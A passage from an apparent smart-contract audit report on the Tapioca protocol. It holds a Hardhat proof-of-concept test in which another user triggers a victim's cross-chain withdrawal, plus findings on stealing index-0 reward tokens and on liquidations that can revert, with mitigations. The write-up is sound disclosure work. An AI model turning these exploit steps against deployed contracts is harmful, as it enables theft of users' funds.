    //Deploy YB and Strategies
    const yieldBox0Data = await deployYieldBox(signer)
    const yieldBox10Data = await deployYieldBox(signer)

    const YieldBox_0 = yieldBox0Data.yieldBox
    const YieldBox_10 = yieldBox10Data.yieldBox

    {
        const txData =
            await tapiocaWrapper_0.populateTransaction.createTOFT(
                erc20Mock.address,
                (
                    await utils.Tx_deployTapiocaOFT(
                        LZEndpointMock_chainID_0.address,
                        erc20Mock.address,
                        YieldBox_0.address,
                        31337,
                        signer
                    )
                ).txData,
                ethers.utils.randomBytes(32),
                false
            )
        txData.gasLimit = await hre.ethers.provider.estimateGas(txData)
        await signer.sendTransaction(txData)
    }

    const tapiocaOFT0 = (await utils.attachTapiocaOFT(
        await tapiocaWrapper_0.tapiocaOFTs(
            (await tapiocaWrapper_0.tapiocaOFTLength()).sub(1)
        )
    )) as TapiocaOFT

    // Deploy TapiocaOFT10
    {
        const txData =
            await tapiocaWrapper_10.populateTransaction.createTOFT(
                erc20Mock.address,
                (
                    await utils.Tx_deployTapiocaOFT(
                        LZEndpointMock_chainID_10.address,
                        erc20Mock.address,
                        YieldBox_10.address,
                        10,
                        signer
                    )
                ).txData,
                ethers.utils.randomBytes(32),
                false
            )
        txData.gasLimit = await hre.ethers.provider.estimateGas(txData)
        await signer.sendTransaction(txData)
    }

    const tapiocaOFT10 = (await utils.attachTapiocaOFT(
        await tapiocaWrapper_10.tapiocaOFTs(
            (await tapiocaWrapper_10.tapiocaOFTLength()).sub(1)
        )
    )) as TapiocaOFT

    const strategy0Data = await deployToftMockStrategy(
        signer,
        YieldBox_0.address,
        tapiocaOFT0.address
    )
    const strategy10Data = await deployToftMockStrategy(
        signer,
        YieldBox_10.address,
        tapiocaOFT10.address
    )

    const Strategy_0 = strategy0Data.tOFTStrategyMock
    const Strategy_10 = strategy10Data.tOFTStrategyMock

    // Setup
    await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
    await tapiocaOFT0.wrap(
        signer.address,
        signer.address,
        bigDummyAmount
    )

    // Set trusted remotes
    const dstChainId0 = 31337
    const dstChainId10 = 10

    await tapiocaWrapper_0.executeTOFT(
        tapiocaOFT0.address,
        tapiocaOFT0.interface.encodeFunctionData("setTrustedRemote", [
            dstChainId10,
            ethers.utils.solidityPack(
                ["address", "address"],
                [tapiocaOFT10.address, tapiocaOFT0.address]
            ),
        ]),
        true
    )

    await tapiocaWrapper_10.executeTOFT(
        tapiocaOFT10.address,
        tapiocaOFT10.interface.encodeFunctionData("setTrustedRemote", [
            dstChainId0,
            ethers.utils.solidityPack(
                ["address", "address"],
                [tapiocaOFT0.address, tapiocaOFT10.address]
            ),
        ]),
        true
    )
    // Link endpoints with addresses
    await LZEndpointMock_chainID_0.setDestLzEndpoint(
        tapiocaOFT10.address,
        LZEndpointMock_chainID_10.address
    )
    await LZEndpointMock_chainID_10.setDestLzEndpoint(
        tapiocaOFT0.address,
        LZEndpointMock_chainID_0.address
    )

    //Register tokens on YB
    await YieldBox_0.registerAsset(
        1,
        tapiocaOFT0.address,
        Strategy_0.address,
        0
    )
    await YieldBox_10.registerAsset(
        1,
        tapiocaOFT10.address,
        Strategy_10.address,
        0
    )

    const tapiocaOFT0Id = await YieldBox_0.ids(
        1,
        tapiocaOFT0.address,
        Strategy_0.address,
        0
    )
    const tapiocaOFT10Id = await YieldBox_10.ids(
        1,
        tapiocaOFT10.address,
        Strategy_10.address,
        0
    )

    expect(tapiocaOFT0Id.eq(1)).to.be.true
    expect(tapiocaOFT10Id.eq(1)).to.be.true

    //Test deposits on same chain
    await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
    await tapiocaOFT0.wrap(
        signer.address,
        signer.address,
        bigDummyAmount
    )

    await tapiocaOFT0.approve(
        YieldBox_0.address,
        ethers.constants.MaxUint256
    )
    let toDepositShare = await YieldBox_0.toShare(
        tapiocaOFT0Id,
        bigDummyAmount,
        false
    )
    await YieldBox_0.depositAsset(
        tapiocaOFT0Id,
        signer.address,
        signer.address,
        0,
        toDepositShare
    )

    let yb0Balance = await YieldBox_0.amountOf(
        signer.address,
        tapiocaOFT0Id
    )
    let vaultAmount = await Strategy_0.vaultAmount()
    expect(yb0Balance.gt(bigDummyAmount)).to.be.true //bc of the yield
    expect(vaultAmount.eq(bigDummyAmount)).to.be.true

    //Test withdraw on same chain
    await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
    await tapiocaOFT0.wrap(
        signer.address,
        signer.address,
        bigDummyAmount
    )
    await tapiocaOFT0.transfer(
        Strategy_0.address,
        yb0Balance.sub(bigDummyAmount)
    ) //assures the strategy has enough tokens to withdraw
    const signerBalanceBeforeWithdraw = await tapiocaOFT0.balanceOf(
        signer.address
    )

    const toWithdrawShare = await YieldBox_0.balanceOf(
        signer.address,
        tapiocaOFT0Id
    )
    await YieldBox_0.withdraw(
        tapiocaOFT0Id,
        signer.address,
        signer.address,
        0,
        toWithdrawShare
    )
    const signerBalanceAfterWithdraw = await tapiocaOFT0.balanceOf(
        signer.address
    )

    expect(
        signerBalanceAfterWithdraw
            .sub(signerBalanceBeforeWithdraw)
            .gt(bigDummyAmount)
    ).to.be.true

    vaultAmount = await Strategy_0.vaultAmount()
    expect(vaultAmount.eq(0)).to.be.true

    yb0Balance = await YieldBox_0.amountOf(
        signer.address,
        tapiocaOFT0Id
    )
    expect(vaultAmount.eq(0)).to.be.true

    const latestBalance = await Strategy_0.currentBalance()
    expect(latestBalance.eq(0)).to.be.true

    toDepositShare = await YieldBox_0.toShare(
        tapiocaOFT0Id,
        bigDummyAmount,
        false
    )

    const totals = await YieldBox_0.assetTotals(tapiocaOFT0Id)
    expect(totals[0].eq(0)).to.be.true
    expect(totals[1].eq(0)).to.be.true

    //Cross chain deposit from TapiocaOFT_10 to Strategy_0
    await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
    await tapiocaOFT0.wrap(
        signer.address,
        signer.address,
        bigDummyAmount
    )

    await expect(
        tapiocaOFT0.sendFrom(
            signer.address,
            10,
            ethers.utils.defaultAbiCoder.encode(
                ["address"],
                [signer.address]
            ),
            bigDummyAmount,
            {
                refundAddress: signer.address,
                zroPaymentAddress: ethers.constants.AddressZero,
                adapterParams: "0x",
            },
            {
                value: ethers.utils.parseEther("0.02"),
                gasLimit: 2_000_000,
            }
        )
    ).to.not.be.reverted
    const signerBalanceForTOFT10 = await tapiocaOFT10.balanceOf(
        signer.address
    )
    expect(signerBalanceForTOFT10.eq(bigDummyAmount)).to.be.true

    const asset = await YieldBox_0.assets(tapiocaOFT0Id)
    expect(asset[2]).to.eq(Strategy_0.address)

    await tapiocaOFT10.sendToStrategy(
        signer.address,
        signer.address,
        bigDummyAmount,
        toDepositShare,
        1, //asset id
        dstChainId0,
        {
            extraGasLimit: "2500000",
            zroPaymentAddress: ethers.constants.AddressZero,
        },
        {
            value: ethers.utils.parseEther("15"),
        }
    )

    let strategy0Amount = await Strategy_0.vaultAmount()
    expect(strategy0Amount.gt(0)).to.be.true

    const yb0BalanceAfterCrossChainDeposit = await YieldBox_0.amountOf(
        signer.address,
        tapiocaOFT0Id
    )
    expect(yb0BalanceAfterCrossChainDeposit.gt(bigDummyAmount))

    const airdropAdapterParams = ethers.utils.solidityPack(
        ["uint16", "uint", "uint", "address"],
        [2, 800000, ethers.utils.parseEther("2"), tapiocaOFT0.address]
    )

    await YieldBox_0.setApprovalForAsset(
        tapiocaOFT0.address,
        tapiocaOFT0Id,
        true
    ) //this should be done through Magnetar in the same tx, to avoid frontrunning

    yb0Balance = await YieldBox_0.amountOf(
        signer.address,
        tapiocaOFT0Id
    )

    await tapiocaOFT0.transfer(
        Strategy_0.address,
        yb0Balance.sub(bigDummyAmount)
    ) //assures the strategy has enough tokens to withdraw

    await hre.ethers.provider.send("hardhat_setBalance", [
        randomUser.address,
        ethers.utils.hexStripZeros(
            ethers.utils.parseEther(String(20))._hex
        ),
    ]) //@audit <------------------------------------------- Fund user
    await tapiocaOFT10
        .connect(randomUser) //@audit <------------------------------------------- Call with other user instead of signer
        .retrieveFromStrategy(
            signer.address,
            yb0BalanceAfterCrossChainDeposit,
            toWithdrawShare,
            1,
            dstChainId0,
            ethers.constants.AddressZero,
            airdropAdapterParams,
            {
                value: ethers.utils.parseEther("10"),
            }
        )
    strategy0Amount = await Strategy_0.vaultAmount()
    expect(strategy0Amount.eq(0)).to.be.true

    const signerBalanceAfterCrossChainWithdrawal =
        await tapiocaOFT10.balanceOf(signer.address)
    expect(signerBalanceAfterCrossChainWithdrawal.gt(bigDummyAmount)).to
        .be.true
})

The only relevant change is that the function retrieveFromStrategy is called from another address. The test passes, showing that an attacker, in tthis case randomUser can influence the operations of the victim, the signer.

Add an allowance check for the msg.sender in the removeCollateral function.

0xRektora (Tapioca) confirmed

LSDan (Judge) commented:

This attack can be summed up as “approvals are not checked when operating cross-chain.” There are several instances of this bug with varying levels of severity all reported by warden carrotsmuggler. Because they all use the same attack vector and all perform undesired/unrequested acts on behalf of other users, I have grouped them and rated this issue as high risk.


[H-36] twTAP.sol: Reward tokens stored in index 0 can be stolen

Submitted by carrotsmuggler, also found by KIntern_NA

The function claimAndSendRewards can be called to collect rewards accrued by the twTAP position. This function can only be called by the TapOFT.sol contract during a crosschain operation. Thus a user on chain A can call claimRewards and on chain B, the function _claimRewards will be called and a bunch of parameters will be passed in that message.

(
,
,
address to,
uint256 tokenID,
IERC20[] memory rewardTokens,
IRewardClaimSendFromParams[] memory rewardClaimSendParams
) = abi.decode(
    _payload,
    (
        uint16,
        address,
        address,
        uint256,
        IERC20[],
        IRewardClaimSendFromParams[]
    )
);

All these parameters passed here comes from the original lz payload sent by the user from chain A. Of note is the array rewardTokens which is a user inputted value. This function then calls the twtap.sol contract as shown below.

try twTap.claimAndSendRewards(tokenID, rewardTokens) {

In the twTAP contract, the function claimAndSendRewards eventually calls _claimRewardsOn, the functionality of which is shown below.

function _claimRewardsOn(
    uint256 _tokenId,
    address _to,
    IERC20[] memory _rewardTokens
) internal {
    uint256[] memory amounts = claimable(_tokenId);
    unchecked {
        uint256 len = _rewardTokens.length;
        for (uint256 i = 0; i < len; ) {
            uint256 claimableIndex = rewardTokenIndex[_rewardTokens[i]];
            uint256 amount = amounts[i];

            if (amount > 0) {
                // Math is safe: `amount` calculated safely in `claimable()`
                claimed[_tokenId][claimableIndex] += amount;
                rewardTokens[claimableIndex].safeTransfer(_to, amount);
            }
            ++i;
        }
    }
}

Here we want to investigate a case where a user sends some random address in the array rewardTokens. We already showed that this value is set by the user, and the above quoted snippet receives the same value in the _rewardTokens variable.

In the for loop, the indexes are found. But if rewardTokens[i] is a garbage address, the mapping rewardTokenIndex will return the default value of 0 which will be stored in claimableIndex. The array amounts stores the amounts of the different tokens that can be claimed by the user. But since claimableIndex is now 0, the safeTransfer function in the end is always called on the token rewardTokens[0]. Thus a user can withdraw the rewardtoken in index 0 multiple times and in amounts based on the values stored in the amounts array.

Thus we have shown that a user can steal an unfair amount of tokens stored in the 0 index of the rewardTokens array variable in the twTAP.sol contract. This will mess up the reward distribution for all users, and can lead to an insolvent contract. Thus this is deemed a high severity issue.

Proof of Concept

The attack can be done in the following steps:

  1. Attacker calls claimRewards on chain A. The attacker is assumed to have a valid position on chain B with pending rewards.
  2. The attacker passes an array of garbage addresses in the rewardTokens parameter.
  3. The contract sends forth the message to the destination chain, where the twTAP contract is called to collect the rewards.
  4. As shown above, the reward token stored in index 0 is sent multiple times to the caller, which is the TapOFT contract.
  5. In the TapOFT contract, the contract then sends all the collected rewards in the contract cross chain back to the attacker. Thus the tokens in index 0 were claimed and collected.

Thus the attacker can claim an unfair number of tokens present in the 0th index. If this token is more valuable than the other rewward tokens, the attacker can profit from this exploit.

Mitigation can be done by not using the 0th index. The zero index of the rewardTokens array in twTAP.sol, if left empty, will point to the zero address, and if an unknown address is encountered, the contract will try to claim the tokens from the zero address which will revert.

This can be enforced by using the statement rewardTokens.push(address(0)) in the constructor. However changes will need to be made on other operations in the contract which loops over this array to skip operations on this zero address now present in the array.

0xRektora (Tapioca) confirmed via duplicate issue 1093


[H-37] Liquidation transactions can potentially fail for all markets

Submitted by zzzitron, also found by GalloDaSballo

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L315-L316

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/Market.sol#L340-L344

As an example, when calling BigBang.liquidate() the tx potentially fails, because the subsequent call to Market.updateExchangeRate (BigBang.sol line 316) can face a revert condition on line 344 in Market.sol.

In Market.updateExchangeRate() a revert is triggered if rate is not bigger than 0 - see line 344 in Market.sol.

Liquidations should never fail and instead use the old exchange rate - see BigBang.sol line 315 comment:

// Oracle can fail but we still need to allow liquidations

But the liquidation transaction can potentially fail when trying to fetch the new exchange rate via Market.updateExchangeRate() as shown above.

This issue applies for all markets (Singularity, BigBang) since the revert during the liquidation happens in the Market.sol contract from which all markets inherit.

Because of this issue user’s collateral values may fall below their debt values, without being able to liquidate them, pushing the protocol into insolvency.

This is classified as high risk because liquidation is an essential functionality of the protocol.

Proof of Concept

Here is a POC that shows that a liquidation tx reverts according to the issue described above:

https://gist.github.com/zzzitron/90206267434a90990ff2ee12e7deebb0

Instead of reverting on line 344 in Market.sol when fetching the exchange rate, consider to return the old rate instead, so that the liquidation can be executed successfully.

0xRektora (Tapioca) confirmed


[H-38] Magnetar contract has no approval checking

Submitted by